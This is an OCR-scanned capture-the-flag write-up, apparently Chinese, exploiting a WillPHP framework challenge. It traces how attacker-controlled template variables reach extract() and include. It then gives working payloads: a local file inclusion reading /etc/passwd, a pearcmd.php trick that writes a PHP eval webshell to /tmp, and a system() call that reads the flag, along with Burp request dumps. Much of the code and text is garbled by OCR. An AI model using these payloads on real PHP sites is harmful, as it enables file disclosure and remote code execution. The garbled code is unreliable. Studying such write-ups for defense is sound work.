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<?php
amespace home\controller;
lass IndexController{
public function index(){
highlight_file(__FILE__);
assign($_GET[ 'name'],$_GET['value']);
return view();
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<?php
namespace home\controller;
class IndexController{
public function index(){
highlight_file(__ FILE_ );
assign($_GET['name'],$_GET['value']);
return view();
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assignik

assign($name, $value = ) {
\wiphp\View: :assign($name, $value);
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<?php
/**
* HERERE AL PR
* @copyright Copyright(c) 2620 Wil LPHP
* @author DaSongzi <24203741@qq.com/113344.com>
* @version 2.1.1
* @since 2021-05-31
*/
namespace wiphp;
require PATH_TPLE.'/Tple.php';
class View {
private static $ vars = [];
public static function assign($name, $value = NULL) {
if ($name != '') self::$ vars[$name] = $value; //$name, $valuef&{54$ vars$#H
}
public static function fetch($file = '', $vars = []) {
if (lempty($vars)) self::$ vars = array_merge(self::$ vars, $vars);
define('__THEME__ ', C('theme'));
define('VPATH', (THEME_ON)? PATH_VIEW.'/'._THEME__ : PATH_VIEW);
$path = __ MODULE__;
if ($file == '") {
$file = _ ACTION _;
} elseif (strpos($file, ':')) {
list($path,$file) = explode(':"', $file);
} elseif (strpos($file, '/')) {

$path = '';

¥

if ($path == '") {

$vfile = VPATH.'/'.$file."'.html';
} else {

$path = strtolower($path);
$vfile = VPATH.'/'.$path.'/'.$file. ' .html";
}
if (!file_exists($vfile)) {
App::halt($file.' HRXHARE. *);
} else {
define('__RUNTIME__ ', App::getRuntime());
array_walk_recursive(self::$ vars, 'self:: parse vars'); //LH#HH
\Tple::render($vfile, self::$ vars);
}
}
/1 R R AT
private static function _parse_vars(&$value, $key) {
$value = stripslashes($value);
}
}
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public static function render =
= C('shtml_open’

if (! || basename "jump.shtml®

self: :renderTo

else
= http_build query(I
= md5(__MODULE__ .basename . .".shtml’
= PATH_SHTML.'/".
= time
= max(10, intval(C('shtml_time'
if (is_file && filemtime > -
include
else
ob_start

self: :renderTo
= ob_get_contents

file put_contents

public static function renderTo =
= strtolower(__MODULE__

1

= 'view-"'. _'.basename

if (basename == "jump.html'
= 'view-jump.html.php"'

= PATH_VIEWC.'/".

if (APP_DEBUG || !file_exists || filemtime < filemtime
= self::comp(file_get_ contents

file_put_contents

extract
include
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v ER willphp > willphp > wiphp > Tple.php
v Locals }
v $_vars a }
c stat function renderTo($vfile, $_vars = []) {
$m = strtolower(__MODULE_ );
$cfile = 'vi '.$m.'_'.basename($vfile). ' .php";
if (basename($vfile jump.html') {
PE html> $cfile = 'view- .html.php';
/PHPTutorial/W i hp/app/view/index html" }
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfi
$strs = self::comp(file_get_contents($vfile), $_vars);
file_put_contents($cfile, $strs);

tool/web/phpstudy/PHPTutorial/Ww/willphp/runtime/vi view-index_inde..

> Superglobals

> User defined constants

extract($_vars);
include $cfile;
1

ction comp($strs, $_vars = [1) {
zZA-Z_\x7f-\xff][a-zA-
preg_replace_callback('/\{\s* \s+ \s*\}/i*,
return file_get_contents(VPATH.'/'.$match[1]);
}, $strs);
if (preg_match('/\{\s* \s+ + \s*\}/i', $stnsbN dshuk

B & FlrenderTo 7 ¥k} $_vars $4H FIME 2 HATindex. phpH4& N $_vars[name]=value
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/?name=cfile&value=/etc/passwd

2% F pearcmd.php3Z 144 £ getshell
F)Fpearcmd.php B e & 2 /tmp/xiaoz.php (EHburp 4R <> 2#urlgmil)
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longlone.top/%E5%AE %89%E5%85%A8/%ES%AE %89%ES5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B
8%8Einclude%20t0%20RCE%E7%9A%84 %ES5%B7%A7 %ES5%A6%99%E7%BB %84 %E5%90%88/
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/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/xiaoz.php+-d+man_dir=<2eval($_POST['g']);?>+-s+

Pretty lREVM Hex \n = Pretty Raw Hex JRChLEE \n =

1 GET /?name=cfile&value=/usr/local/|ib/php/pearcmd. php& <pnp
+—c+/tmp/xiaoz. php+—d+man_dir=<?eval (§_POST['g']) ;?>+—s+ cicc: -ndewconteoiizz:

HTTP/1.1

2 Host: IR
c9967190-a076-4899-971¢c—11f4b7a58cd8. node4. buuoj. cn: 81

3 Upgrade—Insecure—Requests: 1

4 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
App leWebKit/537.36 (KHTML, |ike Gecko)
Chrome/92. 0. 4515. 107 Safari/537. 36

5 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, im
age/avif, image/webp, image/apng, */*;0=0. 8, application/sig
ned—exchange;v=b3;9=0. 9

6 Accept—Encoding: gzip, deflate

7 Accept-Language: zh—CN, zh;q=0.9

8 Cookie: PHPSESSID=259328cd764aala9f2575de5aa41c572

9 Connection: close

0]

1

(__FILE ):
"1,5_GET['walus="1);

+ Notice: Uninttialized string offset: 0 1 Getopt.php on line 141
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/?name=cfile&value=/tmp/xiaoz.php

g=system('cat /flag32897328937298hdwidh");



<?php
namespace home\controller;
class IndexController{
public function index(){
highlight_file(_ FILE_):
assign($_GET[  name’ ], $_GET[’ value’]):

return view();
1

s
} #PEAR Config 0.9 a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:" __uri*;a:0:{}}s:7:"man_dir";s:22:"flag{94a0248b-ad6b-4c5a-a484-a188d0d5df4c} ";}
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LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS -~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://c9967190-a076-4899-971¢c-11f4b7a58cd8.node4.buuoj.cn:81/?name=cfile&value=/tmp/xiaoz.php

enctype
- Enable POST application/x-www-form-urlencoded v ADD HEADER

Body
g=system('cat /flag32897328937298hdwidh);
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